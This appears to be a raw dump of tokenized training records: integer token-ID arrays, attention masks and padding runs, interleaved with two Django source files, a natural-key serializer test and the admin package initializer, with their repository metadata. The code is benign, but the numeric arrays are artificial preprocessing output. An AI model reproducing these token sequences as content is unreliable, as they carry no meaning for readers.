525, 2561, 686, 198, 2, 5038, 63, 475, 582, 291, 14, 396, 63, 751, 12, 686, 198, 2, 6356, 582, 298, 2390, 401, 686, 198, 2, 354, 582, 8145, 14, 354, 12, 686, 198, 2, 1802, 582, 298, 774, 16927, 434, 2, 507, 198, 1552, 2742, 198, 6857, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 8145, 14, 354, 9, 2742, 198, 277, 14, 629, 8, 409, 8, 1001, 14, 3640, 8, 6857, 423, 5038, 1826, 663, 5234, 396, 32, 2694, 14, 957, 401, 291, 14, 396, 63, 751, 2459, 2742, 198, 3, 4002, 376, 9801, 507, 198, 11396, 275, 6950, 14, 362, 63, 1301, 480, 1378, 2585, 401, 2420, 4443, 63, 466, 582, 8145, 14, 6356, 12, 298, 4443, 63, 354, 582, 8145, 14, 354, 12, 686, 198, 2, 4597, 582, 291, 14, 396, 63, 751, 1552, 507, 198, 11396, 14, 1205, 275, 298, 15190, 2, 507, 198, 11396, 14, 2117, 342, 2742, 198, 6857, 275, 6950, 14, 362, 63, 1301, 480, 2390, 401, 8145, 14, 354, 9, 507, 198, 277, 14, 629, 8, 6857, 423, 5038, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
denys-duchier/django
tests/serializers/test_natural.py
31
2658
from django.core import serializers from django.db import connection from django.test import TestCase from .models import FKDataNaturalKey, NaturalKeyAnchor from .tests import register_tests class NaturalKeySerializerTests(TestCase): pass def natural_key_serializer_test(format, self): # Create all the objects defined in the test data with connection.constraint_checks_disabled(): objects = [ NaturalKeyAnchor.objects.create(id=1100, data="Natural Key Anghor"), FKDataNaturalKey.objects.create(id=1101, data_id=1100), FKDataNaturalKey.objects.create(id=1102, data_id=None), ] # Serialize the test database serialized_data = serializers.serialize(format, objects, indent=2, use_natural_foreign_keys=True) for obj in serializers.deserialize(format, serialized_data): obj.save() # Assert that the deserialized data is the same # as the original source for obj in objects: instance = obj.__class__.objects.get(id=obj.pk) self.assertEqual( obj.data, instance.data, "Objects with PK=%d not equal; expected '%s' (%s), got '%s' (%s)" % ( obj.pk, obj.data, type(obj.data), instance, type(instance.data), ) ) def natural_key_test(format, self): book1 = { 'data': '978-1590597255', 'title': 'The Definitive Guide to Django: Web Development Done Right', } book2 = {'data': '978-1590599969', 'title': 'Practical Django Projects'} # Create the books. adrian = NaturalKeyAnchor.objects.create(**book1) james = NaturalKeyAnchor.objects.create(**book2) # Serialize the books. string_data = serializers.serialize( format, NaturalKeyAnchor.objects.all(), indent=2, use_natural_foreign_keys=True, use_natural_primary_keys=True, ) # Delete one book (to prove that the natural key generation will only # restore the primary keys of books found in the database via the # get_natural_key manager method). james.delete() # Deserialize and test. books = list(serializers.deserialize(format, string_data)) self.assertEqual(len(books), 2) self.assertEqual(books[0].object.title, book1['title']) self.assertEqual(books[0].object.pk, adrian.pk) self.assertEqual(books[1].object.title, book2['title']) self.assertIsNone(books[1].object.pk) # Dynamically register tests for each serializer register_tests(NaturalKeySerializerTests, 'test_%s_natural_key_serializer', natural_key_serializer_test) register_tests(NaturalKeySerializerTests, 'test_%s_serializer_natural_keys', natural_key_test)
bsd-3-clause
[ 504, 1639, 14, 1018, 492, 12506, 199, 504, 1639, 14, 697, 492, 1950, 199, 504, 1639, 14, 396, 492, 7640, 199, 199, 504, 1275, 992, 492, 18821, 1451, 23604, 4889, 1197, 12, 653, 292, 4889, 1197, 23517, 199, 504, 1275, 2219, 492, 2274, 63, 2219, 421, 199, 533, 653, 292, 4889, 1197, 7299, 2925, 8, 1746, 304, 272, 986, 421, 199, 318, 19981, 63, 498, 63, 8349, 63, 396, 8, 908, 12, 291, 304, 272, 327, 2790, 1006, 314, 2251, 3247, 315, 314, 511, 666, 272, 543, 1950, 14, 5631, 63, 8625, 63, 7011, 837, 267, 2251, 275, 359, 288, 653, 292, 4889, 1197, 23517, 14, 1462, 14, 981, 8, 344, 29, 26451, 12, 666, 628, 23604, 4889, 2606, 1626, 3561, 269, 1288, 288, 18821, 1451, 23604, 4889, 1197, 14, 1462, 14, 981, 8, 344, 29, 24827, 12, 666, 63, 344, 29, 26451, 395, 288, 18821, 1451, 23604, 4889, 1197, 14, 1462, 14, 981, 8, 344, 29, 6019, 18, 12, 666, 63, 344, 29, 403, 395, 267, 1622, 272, 327, 11973, 794, 314, 511, 3050, 272, 6380, 63, 576, 275, 12506, 14, 3549, 8, 908, 12, 2251, 12, 4363, 29, 18, 12, 675, 63, 15759, 63, 6846, 63, 1612, 29, 549, 9, 339, 367, 1559, 315, 12506, 14, 11143, 8, 908, 12, 6380, 63, 576, 304, 267, 1559, 14, 2117, 342, 339, 327, 10716, 626, 314, 13256, 666, 365, 314, 2011, 272, 327, 465, 314, 3379, 1350, 272, 367, 1559, 315, 2251, 26, 267, 1256, 275, 1559, 855, 533, 4343, 1462, 14, 362, 8, 344, 29, 1113, 14, 2051, 9, 267, 291, 14, 629, 8, 288, 1559, 14, 576, 12, 1256, 14, 576, 12, 288, 298, 11188, 543, 18368, 2458, 68, 440, 4472, 27, 1420, 1543, 83, 7, 4366, 83, 395, 4788, 1543, 83, 7, 4366, 83, 2924, 450, 334, 355, 1559, 14, 2051, 12, 1559, 14, 576, 12, 730, 8, 1113, 14, 576, 395, 1256, 12, 730, 8, 842, 14, 576, 395, 288, 776, 267, 776, 421, 199, 318, 19981, 63, 498, 63, 396, 8, 908, 12, 291, 304, 272, 6719, 17, 275, 469, 267, 283, 576, 356, 283, 28690, 13, 1046, 2710, 15459, 2299, 297, 267, 283, 1213, 356, 283, 1918, 22659, 857, 15423, 370, 5634, 26, 6001, 15290, 23541, 20854, 297, 272, 789, 272, 6719, 18, 275, 791, 576, 356, 283, 28690, 13, 9327, 1717, 5637, 1876, 297, 283, 1213, 356, 283, 48, 6457, 3294, 5634, 7290, 83, 936, 339, 327, 2790, 314, 19040, 14, 272, 1503, 18429, 275, 653, 292, 4889, 1197, 23517, 14, 1462, 14, 981, 3682, 2706, 17, 9, 272, 1335, 14015, 275, 653, 292, 4889, 1197, 23517, 14, 1462, 14, 981, 3682, 2706, 18, 9, 339, 327, 11973, 794, 314, 19040, 14, 272, 1059, 63, 576, 275, 12506, 14, 3549, 8, 267, 1475, 12, 653, 292, 4889, 1197, 23517, 14, 1462, 14, 452, 1062, 4363, 29, 18, 12, 267, 675, 63, 15759, 63, 6846, 63, 1612, 29, 549, 12, 675, 63, 15759, 63, 3327, 63, 1612, 29, 549, 12, 272, 776, 339, 327, 8496, 1373, 6719, 334, 475, 557, 432, 626, 314, 19981, 790, 10152, 911, 1454, 272, 327, 9066, 314, 5062, 2883, 402, 19040, 1911, 315, 314, 3050, 4799, 314, 272, 327, 664, 63, 15759, 63, 498, 5256, 1083, 680, 272, 1335, 14015, 14, 1807, 342, 339, 327, 1487, 3549, 436, 511, 14, 272, 19040, 275, 769, 8, 12844, 14, 11143, 8, 908, 12, 1059, 63, 576, 430, 272, 291, 14, 629, 8, 552, 8, 8858, 395, 499, 9, 272, 291, 14, 629, 8, 8858, 59, 16, 1055, 785, 14, 1213, 12, 6719, 17, 459, 1213, 1105, 272, 291, 14, 629, 8, 8858, 59, 16, 1055, 785, 14, 2051, 12, 1503, 18429, 14, 2051, 9, 272, 291, 14, 629, 8, 8858, 59, 17, 1055, 785, 14, 1213, 12, 6719, 18, 459, 1213, 1105, 272, 291, 14, 7702, 8, 8858, 59, 17, 1055, 785, 14, 2051, 9, 421, 199, 3, 21907, 1183, 2274, 2295, 367, 1924, 9146, 199, 2683, 63, 2219, 8, 23604, 4889, 1197, 7299, 2925, 12, 283, 396, 4970, 83, 63, 15759, 63, 498, 63, 8349, 297, 19981, 63, 498, 63, 8349, 63, 396, 9, 199, 2683, 63, 2219, 8, 23604, 4889, 1197, 7299, 2925, 12, 283, 396, 4970, 83, 63, 8349, 63, 15759, 63, 1612, 297, 19981, 63, 498, 63, 396, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 1639, 14, 1018, 492, 12506, 199, 504, 1639, 14, 697, 492, 1950, 199, 504, 1639, 14, 396, 492, 7640, 199, 199, 504, 1275, 992, 492, 18821, 1451, 23604, 4889, 1197, 12, 653, 292, 4889, 1197, 23517, 199, 504, 1275, 2219, 492, 2274, 63, 2219, 421, 199, 533, 653, 292, 4889, 1197, 7299, 2925, 8, 1746, 304, 272, 986, 421, 199, 318, 19981, 63, 498, 63, 8349, 63, 396, 8, 908, 12, 291, 304, 272, 327, 2790, 1006, 314, 2251, 3247, 315, 314, 511, 666, 272, 543, 1950, 14, 5631, 63, 8625, 63, 7011, 837, 267, 2251, 275, 359, 288, 653, 292, 4889, 1197, 23517, 14, 1462, 14, 981, 8, 344, 29, 26451, 12, 666, 628, 23604, 4889, 2606, 1626, 3561, 269, 1288, 288, 18821, 1451, 23604, 4889, 1197, 14, 1462, 14, 981, 8, 344, 29, 24827, 12, 666, 63, 344, 29, 26451, 395, 288, 18821, 1451, 23604, 4889, 1197, 14, 1462, 14, 981, 8, 344, 29, 6019, 18, 12, 666, 63, 344, 29, 403, 395, 267, 1622, 272, 327, 11973, 794, 314, 511, 3050, 272, 6380, 63, 576, 275, 12506, 14, 3549, 8, 908, 12, 2251, 12, 4363, 29, 18, 12, 675, 63, 15759, 63, 6846, 63, 1612, 29, 549, 9, 339, 367, 1559, 315, 12506, 14, 11143, 8, 908, 12, 6380, 63, 576, 304, 267, 1559, 14, 2117, 342, 339, 327, 10716, 626, 314, 13256, 666, 365, 314, 2011, 272, 327, 465, 314, 3379, 1350, 272, 367, 1559, 315, 2251, 26, 267, 1256, 275, 1559, 855, 533, 4343, 1462, 14, 362, 8, 344, 29, 1113, 14, 2051, 9, 267, 291, 14, 629, 8, 288, 1559, 14, 576, 12, 1256, 14, 576, 12, 288, 298, 11188, 543, 18368, 2458, 68, 440, 4472, 27, 1420, 1543, 83, 7, 4366, 83, 395, 4788, 1543, 83, 7, 4366, 83, 2924, 450, 334, 355, 1559, 14, 2051, 12, 1559, 14, 576, 12, 730, 8, 1113, 14, 576, 395, 1256, 12, 730, 8, 842, 14, 576, 395, 288, 776, 267, 776, 421, 199, 318, 19981, 63, 498, 63, 396, 8, 908, 12, 291, 304, 272, 6719, 17, 275, 469, 267, 283, 576, 356, 283, 28690, 13, 1046, 2710, 15459, 2299, 297, 267, 283, 1213, 356, 283, 1918, 22659, 857, 15423, 370, 5634, 26, 6001, 15290, 23541, 20854, 297, 272, 789, 272, 6719, 18, 275, 791, 576, 356, 283, 28690, 13, 9327, 1717, 5637, 1876, 297, 283, 1213, 356, 283, 48, 6457, 3294, 5634, 7290, 83, 936, 339, 327, 2790, 314, 19040, 14, 272, 1503, 18429, 275, 653, 292, 4889, 1197, 23517, 14, 1462, 14, 981, 3682, 2706, 17, 9, 272, 1335, 14015, 275, 653, 292, 4889, 1197, 23517, 14, 1462, 14, 981, 3682, 2706, 18, 9, 339, 327, 11973, 794, 314, 19040, 14, 272, 1059, 63, 576, 275, 12506, 14, 3549, 8, 267, 1475, 12, 653, 292, 4889, 1197, 23517, 14, 1462, 14, 452, 1062, 4363, 29, 18, 12, 267, 675, 63, 15759, 63, 6846, 63, 1612, 29, 549, 12, 675, 63, 15759, 63, 3327, 63, 1612, 29, 549, 12, 272, 776, 339, 327, 8496, 1373, 6719, 334, 475, 557, 432, 626, 314, 19981, 790, 10152, 911, 1454, 272, 327, 9066, 314, 5062, 2883, 402, 19040, 1911, 315, 314, 3050, 4799, 314, 272, 327, 664, 63, 15759, 63, 498, 5256, 1083, 680, 272, 1335, 14015, 14, 1807, 342, 339, 327, 1487, 3549, 436, 511, 14, 272, 19040, 275, 769, 8, 12844, 14, 11143, 8, 908, 12, 1059, 63, 576, 430, 272, 291, 14, 629, 8, 552, 8, 8858, 395, 499, 9, 272, 291, 14, 629, 8, 8858, 59, 16, 1055, 785, 14, 1213, 12, 6719, 17, 459, 1213, 1105, 272, 291, 14, 629, 8, 8858, 59, 16, 1055, 785, 14, 2051, 12, 1503, 18429, 14, 2051, 9, 272, 291, 14, 629, 8, 8858, 59, 17, 1055, 785, 14, 1213, 12, 6719, 18, 459, 1213, 1105, 272, 291, 14, 7702, 8, 8858, 59, 17, 1055, 785, 14, 2051, 9, 421, 199, 3, 21907, 1183, 2274, 2295, 367, 1924, 9146, 199, 2683, 63, 2219, 8, 23604, 4889, 1197, 7299, 2925, 12, 283, 396, 4970, 83, 63, 15759, 63, 498, 63, 8349, 297, 19981, 63, 498, 63, 8349, 63, 396, 9, 199, 2683, 63, 2219, 8, 23604, 4889, 1197, 7299, 2925, 12, 283, 396, 4970, 83, 63, 8349, 63, 15759, 63, 1612, 297, 19981, 63, 498, 63, 396, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
lsqtongxin/django
django/contrib/admin/__init__.py
562
1243
# ACTION_CHECKBOX_NAME is unused, but should stay since its import from here # has been referenced in documentation. from django.contrib.admin.decorators import register from django.contrib.admin.filters import ( AllValuesFieldListFilter, BooleanFieldListFilter, ChoicesFieldListFilter, DateFieldListFilter, FieldListFilter, ListFilter, RelatedFieldListFilter, RelatedOnlyFieldListFilter, SimpleListFilter, ) from django.contrib.admin.helpers import ACTION_CHECKBOX_NAME from django.contrib.admin.options import ( HORIZONTAL, VERTICAL, ModelAdmin, StackedInline, TabularInline, ) from django.contrib.admin.sites import AdminSite, site from django.utils.module_loading import autodiscover_modules __all__ = [ "register", "ACTION_CHECKBOX_NAME", "ModelAdmin", "HORIZONTAL", "VERTICAL", "StackedInline", "TabularInline", "AdminSite", "site", "ListFilter", "SimpleListFilter", "FieldListFilter", "BooleanFieldListFilter", "RelatedFieldListFilter", "ChoicesFieldListFilter", "DateFieldListFilter", "AllValuesFieldListFilter", "RelatedOnlyFieldListFilter", "autodiscover", ] def autodiscover(): autodiscover_modules('admin', register_to=site) default_app_config = 'django.contrib.admin.apps.AdminConfig'
bsd-3-clause
[ 3, 9612, 63, 8936, 15694, 63, 2339, 365, 9563, 12, 1325, 1077, 25578, 3967, 2399, 492, 687, 2348, 199, 3, 965, 2757, 11812, 315, 3794, 14, 199, 504, 1639, 14, 2828, 14, 2113, 14, 11582, 492, 2274, 199, 504, 1639, 14, 2828, 14, 2113, 14, 4273, 492, 334, 272, 2900, 6550, 792, 24703, 12, 9411, 792, 24703, 12, 8802, 2370, 792, 24703, 12, 272, 30997, 24703, 12, 5024, 24703, 12, 3820, 4131, 12, 20116, 792, 24703, 12, 272, 20116, 5903, 792, 24703, 12, 5870, 24703, 12, 199, 9, 199, 504, 1639, 14, 2828, 14, 2113, 14, 7546, 492, 9612, 63, 8936, 15694, 63, 2339, 199, 504, 1639, 14, 2828, 14, 2113, 14, 1419, 492, 334, 272, 8724, 12, 8267, 12, 30093, 12, 13894, 379, 10307, 12, 23159, 2238, 10307, 12, 199, 9, 199, 504, 1639, 14, 2828, 14, 2113, 14, 8619, 492, 9516, 8972, 12, 4770, 199, 504, 1639, 14, 1208, 14, 578, 63, 8786, 492, 2599, 18861, 63, 3112, 199, 199, 363, 452, 363, 275, 359, 272, 298, 2683, 401, 298, 10052, 63, 8936, 15694, 63, 2339, 401, 298, 12976, 401, 298, 25968, 401, 298, 22634, 401, 272, 298, 4851, 379, 10307, 401, 298, 30187, 10307, 401, 298, 4880, 8972, 401, 298, 2124, 401, 298, 24703, 401, 272, 298, 3184, 24703, 401, 298, 792, 24703, 401, 298, 5036, 24703, 401, 272, 298, 13885, 792, 24703, 401, 298, 30806, 792, 24703, 401, 298, 14071, 24703, 401, 272, 298, 2422, 6550, 792, 24703, 401, 298, 13885, 5903, 792, 24703, 401, 298, 2495, 18861, 401, 199, 61, 421, 199, 318, 2599, 18861, 837, 272, 2599, 18861, 63, 3112, 360, 2113, 297, 2274, 63, 475, 29, 2124, 9, 421, 199, 885, 63, 571, 63, 888, 275, 283, 1176, 14, 2828, 14, 2113, 14, 5181, 14, 4880, 2028, 7, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 